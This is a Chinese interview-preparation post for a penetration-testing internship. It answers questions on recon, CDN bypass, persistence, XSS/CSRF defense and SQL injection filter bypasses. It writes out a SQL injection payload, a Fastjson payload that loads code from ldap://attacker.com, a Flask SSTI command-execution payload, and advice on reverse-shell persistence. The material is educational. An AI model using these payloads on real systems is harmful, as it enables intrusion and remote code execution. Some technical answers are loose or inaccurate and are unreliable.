2025年渗透测试面试题总结-字某跳动-渗透测试实习生(题目+回答)

 网络安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。

字某跳动-渗透测试实习生

渗透流程

信息收集如何处理子域名爆破中的泛解析问题

绕过CDN寻找真实IP

PHPINFO页面关注信息

有没有了解权限维持

举例一个漏洞详细描述

输出到href的xss如何防御

samesite防御CSRF的原理

CSRF的防御

json格式的CSRF如何防御

浏览器解析顺序和解码顺序

过滤逗号的sql注入如何绕过

过滤limit后的逗号如何绕过

fastjson相关漏洞

Python相关的漏洞回答(flask、SSTI原理)

1. 渗透流程

  1. 情报收集
    • 被动收集:Whois查询、证书透明度日志(CT Logs)、GitHub代码泄露。
    • 主动探测:子域名爆破(使用Amass/Sublist3r)、端口扫描(Masscan/Nmap)。
  2. 漏洞分析
    • 自动化扫描:AWVS/Nessus检测常见漏洞(SQLi/XSS)。
    • 手动验证:验证误报漏洞,如逻辑漏洞(越权/支付绕过)。
  3. 攻击利用
    • 漏洞利用:通过Metasploit或定制化EXP攻击目标(如ThinkPHP RCE)。
    • 权限提升:利用内核漏洞(DirtyCow)或SUID提权(find / -perm -4000)。
  4. 权限维持
    • 植入WebShell:加密后门(如蚁剑AES加密Shell)。
    • 系统后门:Windows注册表后门、Linux cronjob定时任务。
  5. 横向移动
    • 内网渗透:利用Responder抓取Net-NTLM哈希、Pass-The-Hash攻击。
    • 数据窃取:通过DNS隧道或HTTP隐蔽信道外传数据。

2. 子域名爆破中的泛解析问题处理

泛解析问题:所有未注册子域名解析到同一IP(如*.example.com → 1.1.1.1)。
解决方案

  1. 响应指纹去重
    • 对比HTTP响应头(Server/Cookie)和页面哈希(如SimHash)。
    • 使用工具(FFUF/GoBuster)的-mc参数过滤重复状态码。
  2. 证书透明度日志
    • 通过crt.sh 查询合法子域名证书记录。
  3. 历史DNS记录
    • 使用SecurityTrails/ViewDNS查询历史A记录。
  4. 字典智能生成
    • 基于目标业务关键词生成子域(如dev/api/test)。

3. 绕过CDN寻找真实IP的六种方法

  1. DNS历史记录:通过DNSDB查询目标域名历史解析IP。
  2. 全球Ping测试:多地服务器(AWS EC2/DigitalOcean)执行pingcurl
  3. SSL证书关联:Censys搜索相同证书的IP(parsed.names:example.com )。
  4. 敏感子域名:访问mail.example.cominternal.example.com 可能直连真实IP。
  5. 邮件服务器追踪:注册目标服务触发邮件,解析邮件头Received字段。
  6. SSRF漏洞利用:通过目标服务器的SSRF漏洞获取内网IP。

4. PHPINFO页面关键信息审计

  1. 敏感配置项
    • allow_url_fopen=On:允许远程文件包含(RFI)。
    • disable_functions:未禁用system/shell_exec等危险函数。
  2. 环境变量泄露
    • $_SERVER['DB_HOST']$_ENV['API_KEY']
  3. 临时文件路径
    • upload_tmp_dir可能暴露可写目录路径。
  4. 扩展模块风险
    • 启用imap扩展可能导致CVE-2018-19518漏洞。

5. 权限维持技术详解

  1. WebShell持久化
    • 隐藏文件名:.config.php + 修改文件时间戳(touch -t)。
  2. 系统级后门
    • Windows:注册表键HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon添加启动脚本。
    • Linux:/etc/rc.local 添加反向Shell命令。
  3. 内存驻留马
    • Java内存马:通过JSP注入Filter型内存Shell。
    • PHP内存马:利用php-fpm未授权访问注入。

6. 漏洞示例:SQL注入(以MySQL为例)

漏洞原理:未过滤用户输入的id参数直接拼接SQL语句。
利用Payload

/product?id=1' UNION SELECT 1,@@version,3-- -

攻击效果:泄露数据库版本、用户权限等敏感信息。
修复方案

  • 使用预编译语句(PDO/MyBatis)。
  • 输入过滤:正则匹配/[^0-9]/限制为数字。

7. 输出到href的XSS防御

漏洞示例:html

<a href="{{ user_input }}">Link</a> <!-- 用户输入为javascript:alert(1) -->

防御措施

  1. 协议白名单:仅允许http:///https:///mailto:
  2. URL编码:对href值进行HTML实体编码(如&&amp;)。
  3. CSP策略:设置Content-Security-Policy: default-src 'self'
  4. 框架安全:Vue/React自动转义href中的动态内容。

8. SameSite防御CSRF原理

  • SameSite=Strict:完全禁止跨站请求携带Cookie(如银行转账)。
  • SameSite=Lax:允许GET请求携带Cookie(适用于普通站点)。
  • SameSite=None:必须与Secure属性共用(仅限HTTPS)。

9. CSRF防御方案

  1. Token验证:表单中嵌入随机Token(如Django的{% csrf_token %})。
  2. 双重Cookie:请求头中携带Cookie哈希值(如X-CSRF-Token: hash(cookie))。
  3. Referer检查:验证请求来源域名是否在白名单内。

10. JSON格式CSRF防御

  1. Content-Type校验:拒绝非application/json请求。
  2. Token嵌入JSON:json
    { "data": "test", "csrf_token": "random_value" }
  3. 禁用CORS:设置Access-Control-Allow-Origin为特定域名。

11. 浏览器解析与解码顺序

  1. HTML解析优先
    • 解析标签和实体(如&lt;<)。
  2. JavaScript执行
    • 处理Unicode转义(如\u003c<)。
  3. URL解码
    • 转换%20为空格。
      示例:html
<a href="javascript:alert(1%26%23x29;)"></a> 

解码顺序:%26&&#x29;) → 最终执行alert(1)


12. 过滤逗号的SQL注入绕过

场景SELECT 1,2,3被拦截。
绕过方法

  1. JOIN语法:sql
    UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c
  2. LIMIT OFFSET:sql
    UNION SELECT 1 FROM users LIMIT 1 OFFSET 1 

13. 过滤LIMIT逗号的绕过

场景LIMIT 0,1被拦截。
绕过方法

  1. SQL Server语法:sql
    SELECT TOP 1 * FROM users 
  2. 变量赋值(MySQL):sql
    SELECT * FROM users LIMIT 1 OFFSET 0 

14. Fastjson漏洞解析

漏洞根源:反序列化时自动调用getter/setter方法(如CVE-2022-25845)。
利用条件:目标开启autoType功能。
Payload示例:json

{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"ldap://attacker.com/exp" } 

修复方案:升级到Fastjson 1.2.83+,关闭autoType


15. Python漏洞:Flask SSTI

漏洞原理:未过滤用户输入直接渲染模板。
示例代码:python

@app.route('/hello/<name>') def hello(name): return render_template_string(f'Hello {name}!') 

攻击Payload:python

{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}

防御措施

  1. 使用安全模板引擎(Jinja2自动转义)。
  2. 输入过滤:禁止用户输入{{}}等特殊字符。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/982075.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

从文件到块: 提高 Hugging Face 存储效率

Hugging Face 在Git LFS 仓库中存储了超过30 PB 的模型、数据集和 Spaces。由于 Git 在文件级别进行存储和版本控制&#xff0c;任何文件的修改都需要重新上传整个文件。这在 Hub 上会产生高昂的成本&#xff0c;因为平均每个 Parquet 和 CSV 文件大小在 200-300 MB 之间&#…

大型语言模型演变之路:从Transformer到DeepSeek-R1

大型语言模型的崛起被认为是人工智能领域的一次革命&#xff0c;从2017年Transformer架构的引入开始&#xff0c;到2025年DeepSeek-R1的推出&#xff0c;每一步都在不断改变着人机交互的方式&#xff0c;推动着学术界与产业界的深度融合。 1. Transformer的引领&#xff08;201…

设计模式(7)——SOLID原则之接口隔离原则

设计模式&#xff08;7&#xff09;——SOLID原则之接口隔离原则 概念示例总结 概念 客户端不应被强迫依赖于其不使用的方法。这句话的意思是指尽量缩小接口的范围&#xff0c;使得客户端的类不必实现其不需要的行为。 根据接口隔离原则&#xff0c;你必须将“臃肿”的方法拆…

Excel的行高、列宽单位不统一?还是LaTeX靠谱

想要生成田字格、米字格、带拼音标准&#xff0c;方便小学生书法和练字。Word&#xff0c;Excel之类所见即所得是最容易相当的方式。但它们处理带田字格之类背景时&#xff0c;如果没有专用模板、奇奇怪怪的插件&#xff0c;使用起来会碰到各种问题。比如&#xff0c;Word里面用…

C++学习之路,从0到精通的征途:入门基础

目录 一.C的第一个程序 二.命名空间 1.namespace的价值 2.命名空间的定义 3.命名空间使用 三.C的输入与输出 1.<iostream> 2.流 3.std(standard) 四.缺省参数 1.缺省参数的定义 2.全缺省/半缺省 3.声明与定义 ​五.函数重载 1.参数个数不同 2.参数类型不…

rust学习笔记12-hashmap与1. 两数之和

rust集合中也有hashmap&#xff0c;昨天已经提到过&#xff0c;学过java同学再熟悉不过了&#xff0c;一道经典面试题问hashmap在java1.8的实现原理&#xff0c;数组哈希表红黑树&#xff0c;rust中hashmap在功能上和java一样&#xff0c;但实现上有很大差别&#xff0c;它的基…

通过多线程同时获取H264和H265码流

目录 一.RV1126 VI采集摄像头数据并同时编码H264、H265的大概流程​编辑​编辑 1.1初始化VI模块&#xff1a; 1.2H264、H265的VENC模块初始化&#xff1a; 1.3VI分别绑定H264的VENC层和H265的VENC层&#xff1a; ​​​​​​​1.4开启H264线程采集H264的VENC数据&#xff…

SpringBoot为什么要禁止循环依赖?

大家好&#xff0c;我是锋哥。今天分享关于【SpringBoot为什么要禁止循环依赖?】面试题。希望对大家有帮助&#xff1b; SpringBoot为什么要禁止循环依赖? 1000道 互联网大厂Java工程师 精选面试题-Java资源分享网 Spring Boot 和 Spring 框架之所以要避免循环依赖&#xf…

The Rust Programming Language 学习 (三)

所有权 所有权&#xff08;系统&#xff09;是 Rust 最为与众不同的特性&#xff0c;它让 Rust 无需垃圾回收器&#xff08;garbage collector&#xff09;即可保证内存安全。因此&#xff0c;理解 Rust 中所有权的运作方式非常重要。 这里是非常重非常重的一个知识点,这里一…

基于物联网技术的电动车防盗系统设计(论文+源码)

1总体设计 本课题为基于物联网技术的电动车防盗系统&#xff0c;在此将整个系统架构设计如图2.1所示&#xff0c;其采用STM32F103单片机为控制器&#xff0c;通过NEO-6M实现GPS定位功能&#xff0c;通过红外传感器检测电瓶是否离开位&#xff0c;通过Air202 NBIOT模块将当前的数…

雷池WAF的为什么选择基于Docker

Docker 是一种开源的容器化平台&#xff0c;可以帮助开发人员将应用程序及其所有依赖项打包到一个称为容器的独立、可移植的环境中。Docker 的核心概念包括以下几点&#xff1a; 容器&#xff1a;Docker 使用容器来封装应用程序及其依赖项&#xff0c;使其能够在任何环境中都能…

解决docker认证问题 failed to authorize: failed to fetch oauth token

报错信息[bash1]解决方案 全局代理打开“buildkit”: false &#xff0c;见[图1] [bash1] >docker build -t ffpg . [] Building 71.8s (3/3) FINISHED docker:desktop-linux> [internal] load bui…

LINUX网络基础 [一] - 初识网络,理解网络协议

目录 前言 一. 计算机网络背景 1.1 发展历程 1.1.1 独立模式 1.1.2 网络互联 1.1.3 局域网LAN 1.1.4 广域网WAN 1.2 总结 二. "协议" 2.1 什么是协议 2.2 网络协议的理解 2.3 网络协议的分层结构 三. OSI七层模型&#xff08;理论标准&#xff09; …

【Docker】容器安全之非root用户运行

【Docker】容器安全之非root用户运行 1. 场景2. 原 Dockerfile 内容3. 整改结果4. 非 root 用户带来的潜在问题4.1 文件夹读写权限异常4.2 验证文件夹权限 1. 场景 最近有个项目要交付&#xff0c;第三方测试对项目源码扫描后发现一个问题&#xff0c;服务的 Dockerfile 都未指…

亚马逊云科技Marketplace(中国区)上架专业服务产品, “云生态连接器”价值凸显

近日&#xff0c;由西云数据运营的亚马逊云科技Marketplace&#xff08;中国区&#xff09;正式支持专业服务产品。此次发布将大幅简化企业对云专业服务的采购流程&#xff0c;实现云软件从规划、部署到支持的全生命周期管理&#xff0c;同时也为合作伙伴提供了更多的销售机会。…

鸿蒙启动页开发

鸿蒙启动页开发 1.1 更改应用名称和图标 1.更改应用图标 找到moudle.json5文件&#xff0c;找到应用启动的EntryAbility下面的icon,将原来的图标改成自己设置的即可 2.更改应用名称 3.效果展示 2.1 广告页面开发 3.1 详细介绍 3.1.1 启动页面 import { PrivacyDialog } fr…

HCIA—IP路由静态

一、概念及作用 1、概念&#xff1a;IP路由是指在IP网络中&#xff0c;数据从源节点到目的节点所经过的路径选择和数据转发的过程。 2、作用 ①实现网络互联&#xff1a;使不同网段的设备能够相互通信&#xff0c;构建大规模的互联网络 ②优化网络拓扑&#xff1a;根据网络…

【计算机网络入门】初学计算机网络(十一)重要

目录 1. CIDR无分类编址 1.1 CIDR的子网划分 1.1.1 定长子网划分 1.1.2 变长子网划分 2. 路由聚合 2.1 最长前缀匹配原则 3. 网络地址转换NAT 3.1 端口号 3.2 IP地址不够用&#xff1f; 3.3 公网IP和内网IP 3.4 NAT作用 4. ARP协议 4.1 如何利用IP地址找到MAC地址…

机器视觉开发教程——封装Halcon通用模板匹配工具【含免费教程源码】

目录 引言前期准备Step1 设计可序列化的输入输出集合【不支持多线程】Step2 设计程序框架1、抽象层【IProcess】2、父类【HAlgorithm】3、子类【HFindModelTool】 Step3 设计UI结果展示 引言 通过仿照VisionPro软件二次开发Halcon的模板匹配工具&#xff0c;便于在客户端软件中…

【Linux跬步积累】—— 线程池详解(有源代码)

文章目录 一、如何实现一个线程1、基本结构2、实现成员函数3、演示4、代码总汇Thread.hppMain.cc 二、如何封装线程池1、设计成员变量2、构造函数与析构函数3、初始化4、启动与回收5、主线程放入任务6、子线程读取任务7、终止线程池 三、测试四、线程池总代码1、ThreadPool.hpp…